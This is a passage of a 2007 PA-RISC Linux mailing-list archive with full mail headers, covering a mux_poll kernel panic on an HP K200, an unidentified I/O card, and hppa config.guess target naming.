r28-31  00002000 103d3010 2fd78600 1012f7ac
sr00-03  00000000 00000000 00000000 00000325
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1026ba00 1026ba04
 IIR: 48b50220    ISR: 00000000  IOR: 00000110
 CPU:        0   CR30: 2fd78000 CR31: 10404000
 ORIG_R28: 2fb84200
 IAOQ[0]: mux_poll+0x2c0/0x2d4
 IAOQ[1]: mux_poll+0x2c4/0x2d4
 RP(r2): run_timer_softirq+0x124/0x1bc
Kernel panic - not syncing: Kernel Fault


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux32 personality & config.guess
Date: Tue, 4 Sep 2007 17:48:48 -0400 (EDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <200709042148.l84LmnE5017739__17734.959597192$1416624432$gmane$org@hiauly1.hia.nrc.ca>
References: <18141.49656.228645.911768@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624432 24963 80.91.229.3 (22 Nov 2014 02:47:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Sep 2007 21:49:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx040) with SMTP; 04 Sep 2007 23:49:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6D0887DB5F;
	Tue,  4 Sep 2007 15:49:29 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id YweqE99Ww6Yr; Tue,  4 Sep 2007 15:49:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1EAD47DB62;
	Tue,  4 Sep 2007 15:49:18 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 64EBB7DB5D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Sep 2007 15:49:15 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id fpuks28R1iVT for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Sep 2007 15:49:04 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 49CB87DB5B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 Sep 2007 15:49:04 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l84LmnZP017740;
	Tue, 4 Sep 2007 17:48:50 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l84LmnE5017739;
	Tue, 4 Sep 2007 17:48:49 -0400 (EDT)
In-Reply-To: <18141.49656.228645.911768@gargle.gargle.HOWL> from "Matthias
	Klose" at Sep 4, 2007 10:37:12 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3+Dvdd9fPTRsPujGPjIw6SUxc2tpZAsG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24778

> With recent 64bit kernels linux32 seems to work,
> 
> $ linux32 uname -m
> parisc
> 
> but
> 
> $ linux32 /usr/share/misc/config.guess
> hppa2.0-unknown-linux-gnu
> 
> which seems to break some configury only knowing about hppa and
> hppa64. Is config.guess correct, and should configure scripts be
> changed?

GCC accepts either parisc or hppa, at least in config.gcc.  I tend
to think the parisc form should be deprecated since no other PA-RISC
targets use it.  The others all use hppa.

With respect to hppa variants, this is a hopeless mess and I don't
believe this can be fixed.  For example, libgmp treats hppa2.0w as
indicating a 64-bit runtime.  I'm sure you have hit this.

Nominally, the first part of the target string represents the
architecture of the kernel, and not the userspace architecture.
This is not sufficient to configure runtime applications when multiple
architectures are supported by one kernel.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Unknown device 0x0005f
Date: Tue, 4 Sep 2007 16:15:37 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <20070904221537.GV14130__12737.8516750925$1416624432$gmane$org@parisc-linux.org>
References: <20070828215632.R6291@saddam.controlq.com> <200709042213.25542.deller@gmx.de> <20070904172254.Q31055@saddam.controlq.com> <200709042344.30215.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624432 24965 80.91.229.3 (22 Nov 2014 02:47:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:12 +0000 (UTC)
Cc: rob@controlq.com,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Sep 2007 22:30:50 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx018) with SMTP; 05 Sep 2007 00:30:50 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id C52DE2E7AE; Tue,  4 Sep 2007 22:37:37 +0000 (UTC)
Old-Return-Path: <willy@parisc-linux.org>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=0.3 required=4.0 tests=AWL,FORGED_RCVD_HELO,
	IMPRONONCABLE_2 autolearn=no version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by murphy.debian.org (Postfix) with ESMTP id 6D4632E6F5
	for <debian-hppa@lists.debian.org>; Tue,  4 Sep 2007 22:22:28 +0000 (UTC)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id CB76D494003; Tue,  4 Sep 2007 16:15:37 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200709042344.30215.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Rc-Spam: 2007-05-24_01
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <KaF3JB.A.9nD.x4d3GB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5917
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue,  4 Sep 2007 22:37:37 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qeXlc9Ibbmw6bK2HZzdLy3xHUzc4ctHn
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24779

On Tue, Sep 04, 2007 at 11:44:29PM +0200, Helge Deller wrote:
> Additionally, does someone knows what this device is ?
> > 12. unknown device at 0xf190c000 [10/4/12] { 2, 0x0, 0x004, 0x0005f }

I don't.  We don't have anything with the 0x0005f programming model in
the database.  We have:

        {HPHW_A_DMA, 0x004, 0x00050, 0x80, "Lanbrusca 802.3 (36967A)"}, 
        {HPHW_B_DMA, 0x008, 0x00051, 0x80, "HP-PB Transit 802.3"}, 
        {HPHW_B_DMA, 0x004, 0x00052, 0x80, "Miura LAN/Console (J2146A)"}, 
        {HPHW_A_DMA, 0x004, 0x00056, 0x80, "HP-PB LoQuix FDDI"}, 
        {HPHW_A_DMA, 0x004, 0x00057, 0x80, "HP-PB LoQuix FDDI (28670A)"}, 
        {HPHW_B_DMA, 0x008, 0x00058, 0x80, "HP-PB Transit 802.4"}, 
        {HPHW_A_DMA, 0x004, 0x0005E, 0x00, "Gecko Add-on Token Ring"}, 

The owner could probably help us out by taking a look at the card in
slot 10/4/12 and seeing what chips are on it, and what connectors it has.

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] crash in mux_poll on K200/Kittyhawk (was: Hardware-List (fwd))
Date: Tue, 4 Sep 2007 16:18:21 -0600
Lines: 51
Approved: news@gmane.org
Message-ID: <20070904221821.GW14130__40028.0528273017$1416624433$gmane$org@parisc-linux.org>
References: <20070828215632.R6291@saddam.controlq.com> <200709042213.25542.deller@gmx.de> <20070904172254.Q31055@saddam.controlq.com> <200709042344.30215.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624433 24973 80.91.229.3 (22 Nov 2014 02:47:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:13 +0000 (UTC)
Cc: rob@controlq.com,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Sep 2007 22:35:18 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx101) with SMTP; 05 Sep 2007 00:35:18 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 30F8F2E80D; Tue,  4 Sep 2007 22:42:07 +0000 (UTC)
Old-Return-Path: <willy@parisc-linux.org>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=0.4 required=4.0 tests=AWL,BAYES_05,FORGED_RCVD_HELO,
	IMPRONONCABLE_1,IMPRONONCABLE_2,MURPHY_WRONG_WORD1,MURPHY_WRONG_WORD2 
	autolearn=no version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by murphy.debian.org (Postfix) with ESMTP id 0D3552E7DA
	for <debian-hppa@lists.debian.org>; Tue,  4 Sep 2007 22:25:12 +0000 (UTC)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id A8920494003; Tue,  4 Sep 2007 16:18:21 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200709042344.30215.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Rc-Spam: 2007-05-24_01
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <4orI6.A.-_E._8d3GB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5918
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue,  4 Sep 2007 22:42:07 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: n+rocpovTiEscKyUaGRwC0p1ZUVSRNfA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24780

On Tue, Sep 04, 2007 at 11:44:29PM +0200, Helge Deller wrote:
> CONFIG_SMP=n  ignoring additional CPUs
> CPU: probe of 34 failed with error 1
> 
> Helge: ^^^^???

He's got a dual-CPU machine and has boted an SMP kernel.  So device 34
(the second CPU) gets an -EBUSY.

> Kernel Fault: Code=26 regs=2fd78600 (Addr=00000110)

Probably a null pointer offset ...

>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001111 Not tainted
> r00-03  0004ff0f 10370010 1012f7ac 103e7e84
> r04-07  0000000d 00000000 00000000 00000000
> r08-11  00000000 faf87e40 00000013 00000000
> r12-15  00030c4c 00000008 00000007 1013d4e0
> r16-19  2fd78240 103810b0 00000002 00000000
> r20-23  0000f000 c1b32767 1026b740 3e4cd8aa
> r24-27  0000002b 10383300 0000000d 10371010
> r28-31  00002000 103d3010 2fd78600 1012f7ac
> sr00-03  00000000 00000000 00000000 00000325
> sr04-07  00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 1026ba00 1026ba04
>  IIR: 48b50220    ISR: 00000000  IOR: 00000110
>  CPU:        0   CR30: 2fd78000 CR31: 10404000
>  ORIG_R28: 2fb84200
>  IAOQ[0]: mux_poll+0x2c0/0x2d4
>  IAOQ[1]: mux_poll+0x2c4/0x2d4
>  RP(r2): run_timer_softirq+0x124/0x1bc
> Kernel panic - not syncing: Kernel Fault
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rob Sciuk <rob@controlq.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Unknown device 0x0005f
Date: Tue, 4 Sep 2007 19:56:23 -0400 (EDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <20070904195341.E32489__7555.16176946021$1416624433$gmane$org@saddam.controlq.com>
References: <20070828215632.R6291@saddam.controlq.com> <200709042213.25542.deller@gmx.de>
 <20070904172254.Q31055@saddam.controlq.com> <200709042344.30215.deller@gmx.de>
 <20070904221537.GV14130@parisc-linux.org>
Reply-To: rob@controlq.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII;
  format=flowed
X-Trace: ger.gmane.org 1416624433 24978 80.91.229.3 (22 Nov 2014 02:47:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:13 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <rob@controlq.com>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Sep 2007 23:55:18 -0000
Original-Received: from unknown (EHLO piggy.controlq.com) [209.151.141.137]
  by mx0.gmx.net (mx029) with SMTP; 05 Sep 2007 01:55:18 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by piggy.controlq.com (Postfix) with ESMTP id AA89B2059;
	Tue,  4 Sep 2007 20:04:05 -0400 (EDT)
Original-Received: from piggy.controlq.com ([127.0.0.1])
 by localhost (piggy.controlq.com [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id 02240-05; Tue,  4 Sep 2007 20:03:42 -0400 (EDT)
Original-Received: from saddam (saddam.controlq.com [192.168.69.85])
	by piggy.controlq.com (Postfix) with ESMTP id 8B517205A;
	Tue,  4 Sep 2007 20:03:42 -0400 (EDT)
In-Reply-To: <20070904221537.GV14130@parisc-linux.org>
X-Virus-Scanned: amavisd-new at controlq.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XsLucochX1VoOOuYY2FyE0N3SDc4NEw2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24781

On Tue, 4 Sep 2007, Matthew Wilcox wrote:

> Date: Tue, 4 Sep 2007 16:15:37 -0600
> From: Matthew Wilcox <matthew@wil.cx>
> To: Helge Deller <deller@gmx.de>
> Cc: rob@controlq.com, parisc-linux@lists.parisc-linux.org,
>     debian-hppa@lists.debian.org
> Subject: Unknown device 0x0005f
> 
> On Tue, Sep 04, 2007 at 11:44:29PM +0200, Helge Deller wrote:
>> Additionally, does someone knows what this device is ?
>>> 12. unknown device at 0xf190c000 [10/4/12] { 2, 0x0, 0x004, 0x0005f }
>
> I don't.  We don't have anything with the 0x0005f programming model in
> the database.  We have:
>
>        {HPHW_A_DMA, 0x004, 0x00050, 0x80, "Lanbrusca 802.3 (36967A)"},
>        {HPHW_B_DMA, 0x008, 0x00051, 0x80, "HP-PB Transit 802.3"},
>        {HPHW_B_DMA, 0x004, 0x00052, 0x80, "Miura LAN/Console (J2146A)"},
>        {HPHW_A_DMA, 0x004, 0x00056, 0x80, "HP-PB LoQuix FDDI"},
>        {HPHW_A_DMA, 0x004, 0x00057, 0x80, "HP-PB LoQuix FDDI (28670A)"},
>        {HPHW_B_DMA, 0x008, 0x00058, 0x80, "HP-PB Transit 802.4"},
>        {HPHW_A_DMA, 0x004, 0x0005E, 0x00, "Gecko Add-on Token Ring"},
>
> The owner could probably help us out by taking a look at the card in
> slot 10/4/12 and seeing what chips are on it, and what connectors it has.

I can photograph it, if you like, how does one determine where slot 
10/4/12 is??  I know that there are a couple of mux boards on the back, 
but frankly I haven't opened up the box as of yet.  Pointers?

Cheers,
Rob.



From - Thu Nov 08 21:36:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rob Sciuk <rob@controlq.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Unknown device 0x0005f
Date: Wed, 5 Sep 2007 11:01:02 -0400 (EDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <20070905105459.P34857__18612.3575469994$1416624433$gmane$org@saddam.controlq.com>
References: <20070828215632.R6291@saddam.controlq.com> <200709042213.25542.deller@gmx.de>
 <20070904172254.Q31055@saddam.controlq.com> <200709042344.30215.deller@gmx.de>
 <20070904221537.GV14130@parisc-linux.org> <20070904195341.E32489@saddam.controlq.com>
 <20070905015540.GX14130@parisc-linux.org>
Reply-To: rob@controlq.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII;
  format=flowed
X-Trace: ger.gmane.org 1416624433 24980 80.91.229.3 (22 Nov 2014 02:47:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:13 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Sep 2007 15:00:11 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx025) with SMTP; 05 Sep 2007 17:00:11 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 1DD102E5C4; Wed,  5 Sep 2007 15:07:10 +0000 (UTC)
Old-Return-Path: <rob@controlq.com>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=-6.2 required=4.0 tests=AWL,BAYES_05,LDOSUBSCRIBER,
	MDO_CABLE_TV3 autolearn=ham version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from piggy.controlq.com (www.controlq.com [209.151.141.137])
	by murphy.debian.org (Postfix) with ESMTP id E22DE2E623
	for <debian-hppa@lists.debian.org>; Wed,  5 Sep 2007 15:06:55 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by piggy.controlq.com (Postfix) with ESMTP id 26912205A;
	Wed,  5 Sep 2007 11:08:41 -0400 (EDT)
Original-Received: from piggy.controlq.com ([127.0.0.1])
 by localhost (piggy.controlq.com [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id 03278-10; Wed,  5 Sep 2007 11:08:18 -0400 (EDT)
Original-Received: from saddam (saddam.controlq.com [192.168.69.85])
	by piggy.controlq.com (Postfix) with ESMTP id 8C00B1FB7;
	Wed,  5 Sep 2007 11:08:18 -0400 (EDT)
In-Reply-To: <20070905015540.GX14130@parisc-linux.org>
X-Virus-Scanned: amavisd-new at controlq.com
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <pvBnGC.A.OND.eYs3GB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5922
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Wed,  5 Sep 2007 15:07:10 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: K4CUAUl4a2A6a7vDOHQyk3UyOWhhagf6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24782

On Tue, 4 Sep 2007, Matthew Wilcox wrote:

> 
> On Tue, Sep 04, 2007 at 07:56:23PM -0400, Rob Sciuk wrote:
>>> The owner could probably help us out by taking a look at the card in
>>> slot 10/4/12 and seeing what chips are on it, and what connectors it has.
>>
>> I can photograph it, if you like, how does one determine where slot
>> 10/4/12 is??  I know that there are a couple of mux boards on the back,
>> but frankly I haven't opened up the box as of yet.  Pointers?
>
> It's been a few years since I looked at the back of a K-class, but I
> believe the path '10/4/12' is silk-screened onto the outside of the case
> below the slot in question.

The roadmap on the back of the K200 points to the I/O panel, and indeed, 
the 10/4/12 device appears to be a BNC connecter to the AUI for 10Base2 
network adapter (yes, I know, it is ancient -- but it was handy.  I'll 
make up a 10BT cable which can reach the box, and replace the "unknown 
device" with 10BT).  At this point, this unknown device is a red herring 
IMHO.

The problem persists, however, and it seems unrelated to the unknown 
device, which is now lying pathetic, and abandoned on the floor of my 
machine room -- cast into the dust!) and no longer is mentioned in the 
boot log -- the panic occurs at the same spot, after freeing memory.

Rob.


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some warning: ... cleanup; realy no interest?
Date: Wed, 05 Sep 2007 15:51:22 +0000
Lines: 41
Approved: news@gmane.org
Message-ID: <46DED07A.1060102__6911.0095421367$1416624434$gmane$org@scarlet.be>
References: <JM78V2$461E14034C9C293D572DFA91ADC72793@scarlet.be>
	<200708031516.l73FG8jb002491@hiauly1.hia.nrc.ca>
	<20070803153909.GA7812@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624434 24986 80.91.229.3 (22 Nov 2014 02:47:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:14 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Sep 2007 15:52:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx091) with SMTP; 05 Sep 2007 17:52:08 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D4167DB70;
	Wed,  5 Sep 2007 09:52:05 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
